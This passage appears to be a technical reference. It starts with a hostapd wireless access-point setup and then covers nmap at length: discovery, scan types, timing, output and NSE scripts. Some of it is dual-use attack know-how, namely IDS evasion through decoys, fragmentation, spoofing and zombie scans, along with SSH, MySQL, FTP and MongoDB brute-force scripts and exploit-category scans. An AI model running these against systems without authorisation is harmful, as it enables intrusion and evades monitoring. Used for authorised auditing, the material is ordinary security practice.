    --dhcp-range=192.168.50.10,192.168.50.100,12h \
    --log-queries

# Enable and start
sudo systemctl unmask hostapd
sudo systemctl enable hostapd
sudo systemctl start hostapd

# Status
sudo systemctl status hostapd

# Logs
sudo journalctl -u hostapd -f

[Unit]
Description=Access point and authentication server
After=network.target

[Service]
Type=forking
PIDFile=/var/run/hostapd.pid
ExecStart=/usr/sbin/hostapd -B -P /var/run/hostapd.pid /etc/hostapd/hostapd.conf
ExecReload=/bin/kill -HUP $MAINPID
Restart=on-failure
RestartSec=5

[Install]
WantedBy=multi-user.target

DAEMON_CONF="/etc/hostapd/hostapd.conf"

wpa=2
wpa_key_mgmt=SAE
ieee80211w=2

# Minimum 12 characters
wpa_passphrase=MyVerySecurePassword123!

wps_state=0

ieee80211w=1  # Optional
# or
ieee80211w=2  # Required (WPA3)

bss=wlan0_0
ssid=Guest
ap_isolate=1

hw_mode=a
channel=36

ieee80211n=1
ieee80211ac=1
wmm_enabled=1

2.4 GHz: 1, 6, 11
5 GHz: Many options (36, 40, 44, 48...)

max_num_sta=50

country_code=US
ieee80211d=1
ieee80211h=1

logger_syslog=-1
logger_syslog_level=2

sudo systemctl enable hostapd

interface=wlan0
ssid=MyWiFi
channel=6
wpa=2
wpa_passphrase=password

# Debian/Ubuntu
sudo apt update
sudo apt install nmap

# RHEL/CentOS/Fedora
sudo yum install nmap
# or
sudo dnf install nmap

# macOS
brew install nmap

# Verify installation
nmap --version

# Scan single IP
nmap 192.168.1.1

# Scan hostname
nmap scanme.nmap.org

# Scan domain
nmap example.com

# Multiple IPs
nmap 192.168.1.1 192.168.1.2 192.168.1.3

# Space-separated list
nmap 192.168.1.1 192.168.1.5 192.168.1.10

# Multiple hostnames
nmap host1.example.com host2.example.com

# CIDR notation (most common)
nmap 192.168.1.0/24        # Entire /24 subnet (256 addresses)
nmap 192.168.1.0/25        # Half subnet (128 addresses)
nmap 10.0.0.0/8            # Entire class A network

# Hyphen range
nmap 192.168.1.1-20        # Scan .1 through .20
nmap 192.168.1-3.1         # Scan 192.168.1.1, 192.168.2.1, 192.168.3.1

# Wildcard (not CIDR, but convenient)
nmap 192.168.1.*           # Entire /24 subnet
nmap 192.168.*.1           # .1 address of all /16 subnets

# Octet ranges
nmap 192.168.1.1-254       # Skip .0 and .255
nmap 192.168.1,2,3.1       # Multiple specific octets

# Exclude single host
nmap 192.168.1.0/24 --exclude 192.168.1.1

# Exclude multiple hosts
nmap 192.168.1.0/24 --exclude 192.168.1.1,192.168.1.5

# Exclude range
nmap 192.168.1.0/24 --exclude 192.168.1.1-10

# Exclude from file
nmap 192.168.1.0/24 --excludefile exclude.txt

# Read targets from file (one per line)
nmap -iL targets.txt

# Example targets.txt:
# 192.168.1.1
# 192.168.1.0/24
# example.com
# 10.0.0.1-50

# Scan random IPs
nmap -iR 100               # Scan 100 random IPs
nmap -iR 0                 # Scan random IPs forever (Ctrl+C to stop)

# Exclude private ranges when using random
nmap -iR 100 --exclude 192.168.0.0/16,10.0.0.0/8,172.16.0.0/12

# Default scan (ping scan + port scan)
nmap 192.168.1.0/24

# By default, Nmap sends:
# - ICMP echo request
# - TCP SYN to port 443
# - TCP ACK to port 80
# - ICMP timestamp request

# Just list targets, don't scan
nmap -sL 192.168.1.0/24

# Useful for:
# - Verifying target list
# - Performing reverse DNS lookups
# - Understanding scan scope

# Only determine which hosts are up (no port scan)
nmap -sn 192.168.1.0/24
# Formerly known as -sP (deprecated)

# Fast way to:
# - Find live hosts
# - Create inventory
# - Map network

# Treat all hosts as online (skip ping)
nmap -Pn 192.168.1.1

# Useful when:
# - Firewall blocks pings
# - You know host is up
# - Scanning single host
# - Behind aggressive firewall

# TCP SYN ping to specific port
nmap -PS 192.168.1.1       # Default ports: 80,443
nmap -PS22 192.168.1.1     # Port 22
nmap -PS22,80,443 192.168.1.1  # Multiple ports
nmap -PS1-1000 192.168.1.1     # Port range

# TCP ACK ping (useful for firewalls that block SYN)
nmap -PA 192.168.1.1       # Default ports: 80,443
nmap -PA22 192.168.1.1     # Port 22
nmap -PA80,443 192.168.1.1 # Multiple ports

# UDP ping to specific port
nmap -PU 192.168.1.1       # Default port: 40125
nmap -PU53 192.168.1.1     # Port 53 (DNS)
nmap -PU161 192.168.1.1    # Port 161 (SNMP)

# Useful for UDP-only devices

# ICMP echo request (standard ping)
nmap -PE 192.168.1.1

# ICMP timestamp request
nmap -PP 192.168.1.1

# ICMP address mask request
nmap -PM 192.168.1.1

# Combine multiple ICMP types
nmap -PE -PP -PM 192.168.1.1

# ARP discovery (automatic on local network)
nmap -PR 192.168.1.0/24

# Most reliable on local Ethernet
# Bypasses IP-level filtering
# Automatic when scanning local subnet

# Skip DNS resolution (faster)
nmap -n 192.168.1.0/24

# Force DNS resolution (even for unresponsive hosts)
nmap -R 192.168.1.0/24

# Custom DNS servers
nmap --dns-servers 8.8.8.8,8.8.4.4 192.168.1.1

# Multiple discovery methods for reliability
nmap -PE -PS22,80,443 -PA80,443 -PU53 192.168.1.0/24

# Aggressive discovery (uses multiple techniques)
nmap -A 192.168.1.1  # Includes host discovery, OS detection, version detection, traceroute

# Default scan type (requires root/admin)
nmap -sS 192.168.1.1
# Or simply:
sudo nmap 192.168.1.1

# How it works:
# 1. Send SYN packet
# 2. If SYN/ACK received -> port open
# 3. If RST received -> port closed
# 4. If no response -> port filtered
# 5. Send RST (don't complete handshake)

# Advantages:
# - Fast and efficient
# - Stealthy (doesn't complete TCP handshake)
# - Accurate results
# - Works against most targets

# Disadvantages:
# - Requires root/admin privileges
# - Still logged by many IDS/IPS systems

# Full TCP connection (no root required)
nmap -sT 192.168.1.1

# How it works:
# 1. Complete full TCP 3-way handshake
# 2. If connection succeeds -> port open
# 3. If RST received -> port closed
# 4. If no response/timeout -> filtered

# Advantages:
# - No special privileges required
# - Works through certain firewalls
# - Reliable results

# Disadvantages:
# - Slower than SYN scan
# - More easily detected (logged)
# - Uses more network resources

# UDP port scan
nmap -sU 192.168.1.1

# Common UDP ports
nmap -sU -p 53,67,68,69,123,161,162,137,138,139 192.168.1.1

# Combined TCP and UDP scan
nmap -sS -sU -p U:53,161,T:21-25,80,443 192.168.1.1

# How it works:
# 1. Send UDP packet to port
# 2. If UDP response received -> port open
# 3. If ICMP port unreachable -> port closed
# 4. If no response -> port open|filtered

# Important notes:
# - UDP scans are SLOW (be patient)
# - Many UDP services don't respond to empty packets
# - Version detection (-sV) helps identify UDP services
# - Use --version-intensity for better UDP detection

# Speed up UDP scans:
nmap -sU --top-ports 20 192.168.1.1     # Scan only top 20 UDP ports
nmap -sU --host-timeout 30s 192.168.1.1 # Set timeout
nmap -sU -T4 192.168.1.1                # Aggressive timing

# ACK scan (firewall rule mapping)
nmap -sA 192.168.1.1

# How it works:
# 1. Send ACK packet
# 2. If RST received -> port unfiltered
# 3. If no response -> port filtered

# Purpose:
# - Map firewall rulesets
# - Determine if firewall is stateful
# - Identify filtered ports
# - Does NOT determine open/closed

# Window scan (like ACK but checks TCP window)
nmap -sW 192.168.1.1

# How it works:
# - Similar to ACK scan
# - Examines TCP window field in RST packets
# - Some systems report positive window for open ports

# Less reliable than other scans
# System-dependent behavior

# Maimon scan (FIN/ACK probe)
nmap -sM 192.168.1.1

# How it works:
# - Sends FIN/ACK packet
# - Open and closed ports should respond with RST
# - Some systems drop packets for open ports

# Rarely useful in modern networks
# Named after Uriel Maimon

# NULL scan (no flags set)
nmap -sN 192.168.1.1

# FIN scan (only FIN flag)
nmap -sF 192.168.1.1

# Xmas scan (FIN, PSH, URG flags - "lit up like Christmas tree")
nmap -sX 192.168.1.1

# How they work:
# - If RST received -> port closed
# - If no response -> port open|filtered
# - If ICMP unreachable -> port filtered

# Based on RFC 793 behavior:
# - Closed ports should respond with RST
# - Open ports should drop the packet

# Advantages:
# - Can bypass some non-stateful firewalls
# - May evade simple IDS

# Disadvantages:
# - Don't work against Windows (RFC non-compliant)
# - Unreliable results
# - Many modern systems don't follow RFC exactly
# - Not useful for most modern networks

# Set custom TCP flags
nmap --scanflags URGACKPSHRSTSYNFIN 192.168.1.1

# Common flag combinations:
nmap --scanflags SYN 192.168.1.1        # Equivalent to -sS
nmap --scanflags ACK 192.168.1.1        # Equivalent to -sA
nmap --scanflags FIN 192.168.1.1        # Equivalent to -sF

# Combine with scan type:
nmap -sF --scanflags FIN,PSH,URG 192.168.1.1

# Idle scan using zombie host
nmap -sI zombie.example.com target.example.com
nmap -sI 192.168.1.50 192.168.1.1

# How it works:
# 1. Find idle host with predictable IP ID sequence
# 2. Use zombie to scan target
# 3. Your IP never contacts target
# 4. Extremely stealthy

# Requirements:
# - Find suitable zombie host
# - Zombie must be truly idle
# - Zombie must have predictable IP ID

# Finding zombie candidates:
nmap --script ipidseq 192.168.1.0/24

# Advantages:
# - Ultimate stealth (your IP hidden)
# - Bypass IP-based filters

# Disadvantages:
# - Difficult to find good zombie
# - Slow
# - Requires specific conditions
# - Complex to set up

# Scan for supported IP protocols
nmap -sO 192.168.1.1

# Determines which IP protocols are supported:
# - ICMP (1)
# - IGMP (2)
# - TCP (6)
# - UDP (17)
# - etc.

# Useful for:
# - Identifying protocol support
# - Firewall testing
# - Security auditing

# FTP bounce attack scan
nmap -b username:password@ftp.server.com target.example.com

# How it works:
# - Uses FTP server as proxy
# - Exploits FTP PORT command
# - Scans appear to come from FTP server

# Note:
# - Most FTP servers have patched this
# - Rarely works on modern systems
# - Mostly of historical interest

# SCTP INIT scan
nmap -sY 192.168.1.1

# SCTP equivalent of TCP SYN scan
# Used for SCTP protocol (Stream Control Transmission Protocol)
# Common in telecom/VoIP systems

# SCTP COOKIE ECHO scan
nmap -sZ 192.168.1.1

# More stealthy than INIT scan
# May bypass some firewalls

# Default: scan 1000 most common ports
nmap 192.168.1.1

# View which ports are scanned by default:
nmap --top-ports 10 -v 192.168.1.1

# Single port
nmap -p 22 192.168.1.1

# Multiple ports (comma-separated)
nmap -p 22,80,443 192.168.1.1

# Port range
nmap -p 1-100 192.168.1.1
nmap -p 20-25,80,443,8000-8100 192.168.1.1

# All ports (1-65535)
nmap -p- 192.168.1.1
nmap -p 1-65535 192.168.1.1

# Named ports
nmap -p http,https,ssh 192.168.1.1

# Ports from 1 to 1024
nmap -p -1024 192.168.1.1

# Ports from 1024 to 65535
nmap -p 1024- 192.168.1.1

# Port 80 and above
nmap -p 80- 192.168.1.1

# TCP ports only
nmap -p T:80,443 192.168.1.1

# UDP ports only
nmap -p U:53,161 192.168.1.1

# Mixed TCP and UDP
nmap -p U:53,161,T:21-25,80 192.168.1.1

# All TCP ports
nmap -p T:- 192.168.1.1

# All UDP ports
nmap -sU -p U:- 192.168.1.1

# Scan top N most common ports
nmap --top-ports 10 192.168.1.1    # Top 10
nmap --top-ports 100 192.168.1.1   # Top 100
nmap --top-ports 1000 192.168.1.1  # Top 1000

# Based on nmap-services frequency data
# Fast way to scan most likely ports

# Scan ports with ratio above threshold
nmap --port-ratio 0.1 192.168.1.1

# Ratio range: 0.0 to 1.0
# 0.1 = top 10% most common ports
# Higher ratio = fewer ports scanned

# Fast mode: scan fewer ports than default
nmap -F 192.168.1.1

# Scans only 100 most common ports
# Much faster than default 1000 ports
# Good for quick reconnaissance

# Scan all ports except specified
nmap -p- --exclude-ports 22,80,443 192.168.1.1

# Exclude port range
nmap -p 1-1000 --exclude-ports 100-200 192.168.1.1

# Scan ports in order (not randomized)
nmap -r 192.168.1.1

# By default, nmap randomizes port order
# -r scans in numerical order
# Useful for troubleshooting

# Enable version detection
nmap -sV 192.168.1.1

# How it works:
# 1. Connect to open ports
# 2. Send probes
# 3. Analyze responses
# 4. Match against signature database
# 5. Report service name and version

# Example output:
# PORT    STATE SERVICE VERSION
# 22/tcp  open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
# 80/tcp  open  http    Apache httpd 2.4.41
# 443/tcp open  https   nginx 1.18.0

# Default intensity (7)
nmap -sV 192.168.1.1

# Light version detection (2) - faster, less comprehensive
nmap -sV --version-intensity 2 192.168.1.1
nmap -sV --version-light 192.168.1.1

# All probes (9) - slower, most comprehensive
nmap -sV --version-intensity 9 192.168.1.1
nmap -sV --version-all 192.168.1.1

# Custom intensity (0-9)
nmap -sV --version-intensity 5 192.168.1.1

# Intensity levels:
# 0 - Fastest, least accurate
# 2 - Light (--version-light)
# 7 - Default
# 9 - All probes (--version-all)

# Debug version detection
nmap -sV --version-trace 192.168.1.1

# Shows:
# - Probes sent
# - Responses received
# - Matching process
# - Useful for troubleshooting

# Get RPC info
nmap -sR 192.168.1.1

# Determines RPC program and version
# Used with -sV for RPC services

# Enable OS detection
nmap -O 192.168.1.1

# Requires at least one open and one closed port
# Uses TCP/IP stack fingerprinting
# Compares responses to signature database

# Example output:
# Running: Linux 4.X|5.X
# OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
# OS details: Linux 4.15 - 5.6

# More aggressive OS detection
nmap -O --osscan-guess 192.168.1.1
nmap -O --fuzzy 192.168.1.1

# Makes best guess even with less confidence
# Useful when standard detection inconclusive

# Only scan hosts with at least one open and one closed port
nmap -O --osscan-limit 192.168.1.0/24

# Skip OS detection if requirements not met
# Speeds up large scans

# Set max OS detection retries
nmap -O --max-os-tries 2 192.168.1.1

# Default: 5
# Lower = faster but less accurate
# Higher = more accurate but slower

# Enable OS detection, version detection, script scanning, and traceroute
nmap -A 192.168.1.1

# Equivalent to:
nmap -O -sV -sC --traceroute 192.168.1.1

# Provides comprehensive information
# Slower and more intrusive
# Good for detailed single-host scans

# Enable traceroute
nmap --traceroute 192.168.1.1

# Shows network path to host
# Useful for understanding routing
# Combined with topology mapping

# Example output:
# TRACEROUTE (using port 80/tcp)
# HOP RTT      ADDRESS
# 1   1.00 ms  192.168.1.254
# 2   5.00 ms  10.0.0.1
# 3   15.00 ms example.com (93.184.216.34)

# T0 - Paranoid (IDS evasion)
nmap -T0 192.168.1.1
# - One port at a time
# - 5 minutes between probes
# - Extremely slow
# - Maximum stealth

# T1 - Sneaky (IDS evasion)
nmap -T1 192.168.1.1
# - Serial scanning
# - 15 seconds between probes
# - Very slow
# - Reduced chance of detection

# T2 - Polite (slow scan, less bandwidth)
nmap -T2 192.168.1.1
# - Throttled to use less bandwidth
# - 0.4 seconds between probes
# - Slower than default
# - Reduced network load

# T3 - Normal (default)
nmap -T3 192.168.1.1
nmap 192.168.1.1
# - Default timing
# - Balanced speed and accuracy
# - Suitable for most networks

# T4 - Aggressive (fast networks)
nmap -T4 192.168.1.1
# - Assumes fast and reliable network
# - 10-minute timeout per host
# - Fast scanning
# - Recommended for modern networks

# T5 - Insane (very fast networks)
nmap -T5 192.168.1.1
# - Assumes extraordinarily fast network
# - 5-minute timeout per host
# - Extremely fast
# - May miss hosts/ports
# - Sacrifice accuracy for speed

# Minimum packets per second
nmap --min-rate 100 192.168.1.1

# Maximum packets per second
nmap --max-rate 1000 192.168.1.1

# Combine for precise control
nmap --min-rate 50 --max-rate 500 192.168.1.1

# Host timeout
nmap --host-timeout 30m 192.168.1.1    # 30 minutes
nmap --host-timeout 10s 192.168.1.1    # 10 seconds

# Scan delay (pause between probes)
nmap --scan-delay 1s 192.168.1.1       # 1 second delay
nmap --max-scan-delay 2s 192.168.1.1   # Maximum 2 seconds

# Initial RTT timeout
nmap --initial-rtt-timeout 100ms 192.168.1.1

# Minimum RTT timeout
nmap --min-rtt-timeout 50ms 192.168.1.1

# Maximum RTT timeout
nmap --max-rtt-timeout 500ms 192.168.1.1

# Minimum parallel operations
nmap --min-parallelism 10 192.168.1.0/24

# Maximum parallel operations
nmap --max-parallelism 100 192.168.1.0/24

# Disable parallel operations (serial)
nmap --max-parallelism 1 192.168.1.0/24

# Host group sizes
nmap --min-hostgroup 50 192.168.1.0/24
nmap --max-hostgroup 100 192.168.1.0/24

# Set maximum retries for port scanning
nmap --max-retries 2 192.168.1.1

# Default: 10
# Lower = faster but may miss ports
# Higher = more thorough but slower

# Fast scan of web servers
nmap -T4 -F -p 80,443,8080,8443 192.168.1.0/24

# Slow stealth scan
nmap -T1 -sS -p- 192.168.1.1

# Very fast scan sacrificing accuracy
nmap -T5 --max-retries 1 --max-scan-delay 10ms 192.168.1.0/24

# Rate-limited scan (100 packets/sec)
nmap --max-rate 100 192.168.1.0/24

# Patient comprehensive scan
nmap -T2 -p- -sV -O --version-all 192.168.1.1

# Fragment packets
nmap -f 192.168.1.1

# Use 8-byte fragments (or smaller)
nmap -f -f 192.168.1.1

# Set custom MTU (must be multiple of 8)
nmap --mtu 16 192.168.1.1
nmap --mtu 24 192.168.1.1
nmap --mtu 32 192.168.1.1

# How it works:
# - Splits packets into fragments
# - May bypass simple packet filters
# - Some IDS can't handle fragments
# - Modern systems often reassemble correctly

# Use decoy IP addresses
nmap -D RND:10 192.168.1.1        # 10 random decoys
nmap -D decoy1,decoy2,decoy3 192.168.1.1

# Include your real IP in specific position
nmap -D decoy1,ME,decoy2 192.168.1.1

# Random decoys (specify count)
nmap -D RND:5 192.168.1.1

# How it works:
# - Nmap spoofs packets from decoy IPs
# - Target sees scans from multiple sources
# - Harder to identify real scanner
# - Your IP is still in the mix

# Best practices:
# - Use live IPs as decoys
# - Don't use too many (performance)
# - Combine with other evasion techniques

# Use zombie host for scanning
nmap -sI zombie.example.com 192.168.1.1

# Your IP never contacts target
# Target sees scans from zombie
# Ultimate stealth technique

# Spoof source IP address
nmap -S 192.168.1.50 192.168.1.1

# Important notes:
# - Response goes to spoofed IP, not you
# - Only useful for specific scenarios
# - Requires raw packet privileges
# - May not work through most networks
# - Often blocked by ISPs

# Specify network interface
nmap -S 192.168.1.50 -e eth0 192.168.1.1

# Use specific source port
nmap --source-port 53 192.168.1.1
nmap -g 53 192.168.1.1

# Common privileged ports:
nmap --source-port 20 192.168.1.1  # FTP data
nmap --source-port 53 192.168.1.1  # DNS
nmap --source-port 67 192.168.1.1  # DHCP

# How it works:
# - Some firewalls allow traffic from specific ports
# - DNS (53) and FTP (20) commonly allowed
# - May bypass simple firewall rules
# - Less effective on modern stateful firewalls

# Append random data to packets
nmap --data-length 25 192.168.1.1

# Pads packets with random data
# Changes packet size
# May evade signature-based detection
# Size in bytes (0-65535)

# Set IP options
nmap --ip-options "L 192.168.1.5 192.168.1.10" 192.168.1.1

# Loose source routing (L)
nmap --ip-options "L" 192.168.1.1

# Strict source routing (S)
nmap --ip-options "S" 192.168.1.1

# Record route (R)
nmap --ip-options "R" 192.168.1.1

# Timestamp (T)
nmap --ip-options "T" 192.168.1.1

# Rarely useful on modern networks
# Most routers ignore or strip IP options

# Send packets with bogus checksums
nmap --badsum 192.168.1.1

# How it works:
# - Real systems will drop invalid packets
# - Firewalls/IDS might not check checksums
# - If you get responses, firewall isn't checking

# Use case:
# - Firewall/IDS detection
# - Should not get responses from real hosts

# Randomize target order
nmap --randomize-hosts 192.168.1.0/24

# Prevents detection patterns
# Target hosts scanned in random order
# Harder to correlate as single scan

# Spoof MAC address (requires raw packets)
nmap --spoof-mac 0 192.168.1.1          # Random MAC
nmap --spoof-mac Apple 192.168.1.1      # Apple vendor
nmap --spoof-mac Dell 192.168.1.1       # Dell vendor
nmap --spoof-mac 00:11:22:33:44:55 192.168.1.1  # Specific MAC

# Vendors: Cisco, Apple, Dell, HP, etc.
# Only works on same network segment
# Useful for MAC-based filtering

# Multiple evasion techniques
nmap -f -T2 -D RND:10 --source-port 53 --data-length 25 192.168.1.1

# Fragment + slow timing + decoys + source port + random data
# Maximum evasion attempt
# Very slow but stealthy

# IDS evasion scan
nmap -T1 -f --mtu 16 -D RND:5 --randomize-hosts 192.168.1.0/24

# Run default scripts
nmap -sC 192.168.1.1
nmap --script=default 192.168.1.1

# Run specific script
nmap --script=http-title 192.168.1.1

# Run multiple scripts (comma-separated)
nmap --script=http-title,http-headers 192.168.1.1

# Run script category
nmap --script=vuln 192.168.1.1
nmap --script=safe 192.168.1.1
nmap --script=discovery 192.168.1.1

# Run multiple categories
nmap --script=vuln,exploit 192.168.1.1

# Boolean expressions
nmap --script "default or safe" 192.168.1.1
nmap --script "default and safe" 192.168.1.1
nmap --script "not intrusive" 192.168.1.1
nmap --script "(default or safe or intrusive) and not http-*" 192.168.1.1

# Wildcard patterns
nmap --script "http-*" 192.168.1.1
nmap --script "ssh-*" 192.168.1.1
nmap --script "smb-*" 192.168.1.1

# All scripts (not recommended - very slow)
nmap --script=all 192.168.1.1

# Pass arguments to scripts
nmap --script=http-title --script-args http.useragent="Mozilla/5.0" 192.168.1.1

# Multiple arguments
nmap --script=mysql-brute --script-args userdb=users.txt,passdb=passwords.txt 192.168.1.1

# Arguments from file
nmap --script=http-form-brute --script-args-file args.txt 192.168.1.1

# View script documentation
nmap --script-help http-title
nmap --script-help "http-*"
nmap --script-help all

# Update script database
nmap --script-updatedb

# HTTP title
nmap --script=http-title 192.168.1.1

# HTTP headers
nmap --script=http-headers 192.168.1.1

# HTTP methods
nmap --script=http-methods 192.168.1.1

# Find robots.txt
nmap --script=http-robots.txt 192.168.1.1

# Enumerate directories
nmap --script=http-enum 192.168.1.1

# Find backup files
nmap --script=http-backup-finder 192.168.1.1

# WordPress vulnerabilities
nmap --script=http-wordpress-enum 192.168.1.1

# SQL injection detection
nmap --script=http-sql-injection 192.168.1.1

# Cross-site scripting
nmap --script=http-xssed 192.168.1.1

# Web application firewall detection
nmap --script=http-waf-detect 192.168.1.1

# SSL/TLS information
nmap --script=ssl-cert,ssl-enum-ciphers -p 443 192.168.1.1

# Heartbleed vulnerability
nmap --script=ssl-heartbleed -p 443 192.168.1.1

# SMB OS discovery
nmap --script=smb-os-discovery 192.168.1.1

# SMB vulnerabilities
nmap --script=smb-vuln-* 192.168.1.1

# MS17-010 (EternalBlue)
nmap --script=smb-vuln-ms17-010 192.168.1.1

# Enumerate shares
nmap --script=smb-enum-shares 192.168.1.1

# Enumerate users
nmap --script=smb-enum-users 192.168.1.1

# SMB security mode
nmap --script=smb-security-mode 192.168.1.1

# SMB protocols
nmap --script=smb-protocols 192.168.1.1

# SSH host key
nmap --script=ssh-hostkey -p 22 192.168.1.1

# SSH authentication methods
nmap --script=ssh-auth-methods -p 22 192.168.1.1

# SSH2 protocol
nmap --script=ssh2-enum-algos -p 22 192.168.1.1

# SSH brute force (use carefully!)
nmap --script=ssh-brute -p 22 192.168.1.1

# DNS brute force subdomains
nmap --script=dns-brute example.com

# DNS zone transfer
nmap --script=dns-zone-transfer --script-args dns-zone-transfer.domain=example.com -p 53 192.168.1.1

# DNS recursion
nmap --script=dns-recursion -p 53 192.168.1.1

# DNS service discovery
nmap --script=dns-service-discovery -p 53 192.168.1.1

# FTP anonymous login
nmap --script=ftp-anon -p 21 192.168.1.1

# FTP bounce
nmap --script=ftp-bounce -p 21 192.168.1.1

# FTP vulnerabilities
nmap --script=ftp-vuln-* -p 21 192.168.1.1

# FTP brute force
nmap --script=ftp-brute -p 21 192.168.1.1

# MySQL information
nmap --script=mysql-info -p 3306 192.168.1.1

# MySQL empty password
nmap --script=mysql-empty-password -p 3306 192.168.1.1

# MySQL users
nmap --script=mysql-users -p 3306 192.168.1.1

# MySQL databases
nmap --script=mysql-databases -p 3306 192.168.1.1

# MySQL brute force
nmap --script=mysql-brute -p 3306 192.168.1.1

# MongoDB info
nmap --script=mongodb-info -p 27017 192.168.1.1

# MongoDB databases
nmap --script=mongodb-databases -p 27017 192.168.1.1

# MongoDB brute force
nmap --script=mongodb-brute -p 27017 192.168.1.1

# All vulnerability scripts
nmap --script=vuln 192.168.1.1

# Specific vulnerability checks
nmap --script=vuln -p 80,443 192.168.1.1

# Common vulnerabilities
nmap --script=vulners 192.168.1.1  # Check against Vulners database

# Vulscan (requires installation)
nmap --script=vulscan 192.168.1.1

# Check for backdoors
nmap --script=backdoor-check 192.168.1.1

# Check for malware
nmap --script=malware 192.168.1.1

# Discover DHCP servers
nmap --script=broadcast-dhcp-discover

# Discover DNS servers
nmap --script=broadcast-dns-service-discovery

# Discover NetBIOS
nmap --script=broadcast-netbios-master-browser

# Discover ping
nmap --script=broadcast-ping

# Multiple broadcast scripts
nmap --script=broadcast

# Verbose script output
nmap --script=http-title -v 192.168.1.1

# Debug script execution
nmap --script=http-title -d 192.168.1.1

# Script trace
nmap --script=http-title --script-trace 192.168.1.1

# Shows:
# - Script execution details
# - Network communication
# - Useful for debugging scripts

# List all scripts
ls /usr/share/nmap/scripts/

# View script contents
cat /usr/share/nmap/scripts/http-title.nse

# Create custom script (basic example)
# Save as my-custom-script.nse

-- Script metadata
description = [[
Custom script description
]]

author = "Your Name"
license = "Same as Nmap"
categories = {"safe", "discovery"}

-- Dependencies
local shortport = require "shortport"
local http = require "http"

-- Port rule
portrule = shortport.http

-- Script action
action = function(host, port)
  local response = http.get(host, port, "/")
  return response.status
end

# Default output (to screen)
nmap 192.168.1.1

# Save normal output to file
nmap -oN scan.txt 192.168.1.1
nmap -oN results/scan.txt 192.168.1.1

# Human-readable format
# Similar to screen output

# Save as XML
nmap -oX scan.xml 192.168.1.1

# Machine-parseable format
# Best for processing with other tools
# Used by many Nmap GUIs

# Parse XML with xmllint
xmllint --format scan.xml

# Convert to HTML
xsltproc scan.xml -o scan.html

# Save grepable output
nmap -oG scan.gnmap 192.168.1.1

# Easy to parse with grep, awk, sed
# One line per host
# Useful for scripting

# Example parsing:
grep "open" scan.gnmap
grep "80/open" scan.gnmap | awk '{print $2}'

# Leet speak output (for fun)
nmap -oS scan.txt 192.168.1.1

# Example: "Port" becomes "P0rt"
# Not useful for serious work
# Entertainment value only

# Save in all formats at once
nmap -oA scan 192.168.1.1

# Creates three files:
# - scan.nmap (normal)
# - scan.xml (XML)
# - scan.gnmap (grepable)

# Recommended for important scans

# Append to existing file (don't overwrite)
nmap -oN scan.txt --append-output 192.168.1.1

# Useful for:
# - Incremental scanning
# - Combining multiple scan results
# - Continuous monitoring

# Verbose output (more details)
nmap -v 192.168.1.1

# Very verbose (even more details)
nmap -vv 192.168.1.1

# Shows progress and additional information:
# - Open ports discovered as found
# - Scan statistics
# - Timing information
# - Estimated completion time

# Recommended for:
# - Long-running scans
# - Troubleshooting
# - Understanding scan progress

# Debug output
nmap -d 192.168.1.1

# More debug output
nmap -dd 192.168.1.1

# Maximum debug (overwhelming detail)
nmap -ddd 192.168.1.1

# Shows:
# - Packet details
# - Timing calculations
# - Internal decisions
# - Useful for troubleshooting problems

# Show all packets sent and received
nmap --packet-trace 192.168.1.1

# Example output:
# SENT (0.0010s) TCP 192.168.1.100:54321 > 192.168.1.1:80 S
# RCVD (0.0015s) TCP 192.168.1.1:80 > 192.168.1.100:54321 SA

# Useful for:
# - Understanding scan behavior
# - Troubleshooting firewall issues
# - Learning network protocols

# Only show open ports
nmap --open 192.168.1.1

# Filters output to open ports only
# Cleaner results for large scans
# Recommended for most scans

# Show reason for port state
nmap --reason 192.168.1.1

# Example:
# 22/tcp  open     ssh        syn-ack ttl 64
# 80/tcp  closed   http       reset ttl 64
# 443/tcp filtered https      no-response

# Shows why Nmap determined each state
# Useful for understanding results

# Show periodic timing statistics
nmap --stats-every 10s 192.168.1.0/24

# Displays progress every 10 seconds
# Shows:
# - Time elapsed
# - Percent complete
# - Estimated completion time

# Interactive statistics:
# Press 'v' during scan for verbose mode
# Press 'd' during scan for debug mode
# Press 'p' during scan to pause
# Press '?' for help

# Save scan state periodically
nmap -oA scan --stats-every 5m 192.168.1.0/16

# If scan interrupted, resume with:
nmap --resume scan.nmap

# Continues from where it left off
# Useful for:
# - Long-running scans
# - Unstable connections
# - Interrupted scans

# Show network interfaces and routes
nmap --iflist

# Displays:
# - Network interfaces
# - IP addresses
# - Routing table
# - Useful for understanding scan source

# Fast ping sweep
nmap -sn 192.168.1.0/24

# Quick port scan with version detection
nmap -T4 -F 192.168.1.0/24

# Find all web servers
nmap -p 80,443,8080,8443 --open 192.168.1.0/24

# Quick scan with service detection
nmap -T4 -A -F 192.168.1.0/24

# Full comprehensive scan
nmap -sS -sU -T4 -A -v -p 1-65535 192.168.1.1

# Break down:
# -sS: SYN scan
# -sU: UDP scan
# -T4: Aggressive timing
# -A: OS detection, version detection, script scanning, traceroute
# -v: Verbose output
# -p 1-65535: All ports

# Aggressive scan with all NSE scripts
nmap -T4 -A -v --script=all 192.168.1.1

# Thorough but patient scan
nmap -sS -sU -T2 -A -v -p- --version-all 192.168.1.1

# Enumerate web servers
nmap -sV -p 80,443,8080,8443 --script=http-* 192.168.1.0/24

# Enumerate SMB/Windows hosts
nmap -sV -p 139,445 --script=smb-* 192.168.1.0/24

# Enumerate databases
nmap -sV -p 3306,5432,1433,27017 --script=*-info,*-databases 192.168.1.0/24

# Enumerate mail servers
nmap -sV -p 25,110,143,465,587,993,995 192.168.1.0/24

# Enumerate DNS servers
nmap -sV -p 53 --script=dns-* 192.168.1.0/24

# Enumerate SSH servers
nmap -sV -p 22 --script=ssh-* 192.168.1.0/24

# Basic vulnerability scan
nmap -sV --script=vuln 192.168.1.1

# Web application vulnerabilities
nmap -sV -p 80,443 --script=http-vuln-* 192.168.1.1

# SMB vulnerabilities (EternalBlue, etc.)
nmap -sV -p 445 --script=smb-vuln-* 192.168.1.0/24

# SSL/TLS vulnerabilities
nmap -sV -p 443 --script=ssl-* 192.168.1.1

# Comprehensive vulnerability scan
nmap -sV -p- --script=vuln,exploit 192.168.1.1

# Basic inventory
nmap -sn -oA inventory 192.168.1.0/24

# Detailed inventory
nmap -sS -sV -O -oA detailed-inventory 192.168.1.0/24

# Inventory with hostnames
nmap -sn -R -oA inventory-with-hostnames 192.168.1.0/24

# Extract IPs from inventory
grep "Up" inventory.gnmap | awk '{print $2}'

# Extract open ports
grep "open" inventory.gnmap | awk '{print $2, $4}'

# Fast sweep of large network
